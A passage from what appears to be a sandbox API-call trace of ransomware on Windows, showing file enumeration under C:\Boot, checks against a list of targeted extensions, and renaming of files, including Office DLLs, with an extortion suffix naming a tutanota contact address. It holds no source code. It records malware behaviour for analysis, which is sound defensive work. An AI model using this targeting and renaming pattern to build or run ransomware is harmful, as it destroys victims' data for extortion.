(lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.826] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=49091) returned 1 [0192.826] CloseHandle (hObject=0x30c) returned 1 [0192.826] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0192.826] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.826] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.826] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.826] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.826] lstrlenW (lpString=".doc") returned 4 [0192.826] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0192.826] lstrlenW (lpString=".docx") returned 5 [0192.826] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0192.826] lstrlenW (lpString=".pdf") returned 4 [0192.826] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString=".xls") returned 4 [0192.827] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0192.827] lstrlenW (lpString=".xlsx") returned 5 [0192.827] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0192.827] lstrlenW (lpString=".ppt") returned 4 [0192.827] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.827] lstrlenW (lpString=".zip") returned 4 [0192.827] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0192.827] lstrlenW (lpString=".rar") returned 4 [0192.827] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString=".bz2") returned 4 [0192.827] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString=".7z") returned 3 [0192.827] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0192.827] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.827] lstrlenW (lpString=".dbf") returned 4 [0192.827] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.827] lstrlenW (lpString=".1cd") returned 4 [0192.827] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.827] lstrlenW (lpString=".jpg") returned 4 [0192.827] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0192.827] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.827] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.827] lstrlenW (lpString=".doc") returned 4 [0192.828] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString=".docx") returned 5 [0192.828] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0192.828] lstrlenW (lpString=".pdf") returned 4 [0192.828] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString=".xls") returned 4 [0192.828] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0192.828] lstrlenW (lpString=".xlsx") returned 5 [0192.828] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0192.828] lstrlenW (lpString=".ppt") returned 4 [0192.828] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.828] lstrlenW (lpString=".zip") returned 4 [0192.828] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0192.828] lstrlenW (lpString=".rar") returned 4 [0192.828] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString=".bz2") returned 4 [0192.828] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString=".7z") returned 3 [0192.828] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0192.828] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.828] lstrlenW (lpString=".dbf") returned 4 [0192.828] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.828] lstrlenW (lpString=".1cd") returned 4 [0192.828] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0192.828] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0192.828] lstrlenW (lpString=".jpg") returned 4 [0192.828] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0192.829] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.829] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.829] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.829] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=79200) returned 1 [0192.829] CloseHandle (hObject=0x30c) returned 1 [0192.829] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0192.830] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.830] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.830] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.830] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.830] lstrlenW (lpString=".doc") returned 4 [0192.830] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.830] lstrlenW (lpString=".docx") returned 5 [0192.830] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.830] lstrlenW (lpString=".pdf") returned 4 [0192.830] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.830] lstrlenW (lpString=".xls") returned 4 [0192.830] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.830] lstrlenW (lpString=".xlsx") returned 5 [0192.830] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.830] lstrlenW (lpString=".ppt") returned 4 [0192.830] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.830] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.830] lstrlenW (lpString=".zip") returned 4 [0192.830] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.830] lstrlenW (lpString=".rar") returned 4 [0192.830] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.830] lstrlenW (lpString=".bz2") returned 4 [0192.830] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.831] lstrlenW (lpString=".7z") returned 3 [0192.831] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.831] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.831] lstrlenW (lpString=".dbf") returned 4 [0192.831] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.831] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.831] lstrlenW (lpString=".1cd") returned 4 [0192.831] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.831] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.831] lstrlenW (lpString=".jpg") returned 4 [0192.831] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.831] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.831] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.832] lstrlenW (lpString=".doc") returned 4 [0192.832] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.832] lstrlenW (lpString=".docx") returned 5 [0192.832] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.832] lstrlenW (lpString=".pdf") returned 4 [0192.832] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.832] lstrlenW (lpString=".xls") returned 4 [0192.832] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.832] lstrlenW (lpString=".xlsx") returned 5 [0192.832] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.832] lstrlenW (lpString=".ppt") returned 4 [0192.832] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.832] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.832] lstrlenW (lpString=".zip") returned 4 [0192.832] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.832] lstrlenW (lpString=".rar") returned 4 [0192.832] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.832] lstrlenW (lpString=".bz2") returned 4 [0192.832] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.832] lstrlenW (lpString=".7z") returned 3 [0192.832] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.832] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.832] lstrlenW (lpString=".dbf") returned 4 [0192.832] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.832] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.832] lstrlenW (lpString=".1cd") returned 4 [0192.832] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.832] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0192.832] lstrlenW (lpString=".jpg") returned 4 [0192.833] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.833] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.833] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.833] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.833] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=79192) returned 1 [0192.833] CloseHandle (hObject=0x30c) returned 1 [0192.834] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0192.834] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.834] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.834] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.834] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.834] lstrlenW (lpString=".doc") returned 4 [0192.834] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.834] lstrlenW (lpString=".docx") returned 5 [0192.834] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.834] lstrlenW (lpString=".pdf") returned 4 [0192.834] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.834] lstrlenW (lpString=".xls") returned 4 [0192.834] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.834] lstrlenW (lpString=".xlsx") returned 5 [0192.834] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.834] lstrlenW (lpString=".ppt") returned 4 [0192.834] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.834] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.834] lstrlenW (lpString=".zip") returned 4 [0192.834] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.834] lstrlenW (lpString=".rar") returned 4 [0192.834] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.834] lstrlenW (lpString=".bz2") returned 4 [0192.835] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.835] lstrlenW (lpString=".7z") returned 3 [0192.835] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.835] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.835] lstrlenW (lpString=".dbf") returned 4 [0192.835] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.835] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.835] lstrlenW (lpString=".1cd") returned 4 [0192.835] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.835] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.835] lstrlenW (lpString=".jpg") returned 4 [0192.835] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.835] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.835] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.835] lstrlenW (lpString=".doc") returned 4 [0192.835] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.835] lstrlenW (lpString=".docx") returned 5 [0192.835] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.835] lstrlenW (lpString=".pdf") returned 4 [0192.835] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.835] lstrlenW (lpString=".xls") returned 4 [0192.835] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.835] lstrlenW (lpString=".xlsx") returned 5 [0192.835] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.835] lstrlenW (lpString=".ppt") returned 4 [0192.835] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.835] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.835] lstrlenW (lpString=".zip") returned 4 [0192.836] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.836] lstrlenW (lpString=".rar") returned 4 [0192.836] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.836] lstrlenW (lpString=".bz2") returned 4 [0192.836] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.836] lstrlenW (lpString=".7z") returned 3 [0192.836] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.836] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.836] lstrlenW (lpString=".dbf") returned 4 [0192.836] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.836] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.836] lstrlenW (lpString=".1cd") returned 4 [0192.836] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.836] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0192.836] lstrlenW (lpString=".jpg") returned 4 [0192.836] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.836] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.836] lstrlenW (lpString="memtest.exe.mui") returned 15 [0192.836] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.837] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=45984) returned 1 [0192.837] CloseHandle (hObject=0x30c) returned 1 [0192.837] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0192.837] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.837] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.837] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.837] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.837] lstrlenW (lpString=".doc") returned 4 [0192.837] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.838] lstrlenW (lpString=".docx") returned 5 [0192.838] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.838] lstrlenW (lpString=".pdf") returned 4 [0192.838] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.838] lstrlenW (lpString=".xls") returned 4 [0192.838] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.838] lstrlenW (lpString=".xlsx") returned 5 [0192.838] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.838] lstrlenW (lpString=".ppt") returned 4 [0192.838] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.838] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.838] lstrlenW (lpString=".zip") returned 4 [0192.838] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.838] lstrlenW (lpString=".rar") returned 4 [0192.838] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.838] lstrlenW (lpString=".bz2") returned 4 [0192.838] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.838] lstrlenW (lpString=".7z") returned 3 [0192.838] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.838] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.838] lstrlenW (lpString=".dbf") returned 4 [0192.838] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.838] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.838] lstrlenW (lpString=".1cd") returned 4 [0192.838] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.838] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.838] lstrlenW (lpString=".jpg") returned 4 [0192.838] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.839] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.839] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.839] lstrlenW (lpString=".doc") returned 4 [0192.839] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.839] lstrlenW (lpString=".docx") returned 5 [0192.839] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.839] lstrlenW (lpString=".pdf") returned 4 [0192.839] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.839] lstrlenW (lpString=".xls") returned 4 [0192.839] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.839] lstrlenW (lpString=".xlsx") returned 5 [0192.839] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.839] lstrlenW (lpString=".ppt") returned 4 [0192.839] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.839] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.839] lstrlenW (lpString=".zip") returned 4 [0192.839] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.839] lstrlenW (lpString=".rar") returned 4 [0192.839] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.839] lstrlenW (lpString=".bz2") returned 4 [0192.839] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.839] lstrlenW (lpString=".7z") returned 3 [0192.839] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.839] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.839] lstrlenW (lpString=".dbf") returned 4 [0192.839] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.839] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.839] lstrlenW (lpString=".1cd") returned 4 [0192.840] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.840] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0192.840] lstrlenW (lpString=".jpg") returned 4 [0192.840] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.840] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.840] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.840] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.841] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=76640) returned 1 [0192.841] CloseHandle (hObject=0x30c) returned 1 [0192.841] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0192.841] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.841] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.841] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0192.841] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0192.841] lstrlenW (lpString=".doc") returned 4 [0192.841] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.841] lstrlenW (lpString=".docx") returned 5 [0192.841] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.841] lstrlenW (lpString=".pdf") returned 4 [0192.841] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.841] lstrlenW (lpString=".xls") returned 4 [0192.841] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.841] lstrlenW (lpString=".xlsx") returned 5 [0192.841] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.841] lstrlenW (lpString=".ppt") returned 4 [0192.841] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.841] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0192.842] lstrlenW (lpString=".zip") returned 4 [0192.842] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.842] lstrlenW (lpString=".rar") returned 4 [0192.842] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.842] lstrlenW (lpString=".bz2") returned 4 [0192.842] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.842] lstrlenW (lpString=".7z") returned 3 [0192.842] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.842] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0192.854] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0192.854] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0193.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0193.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 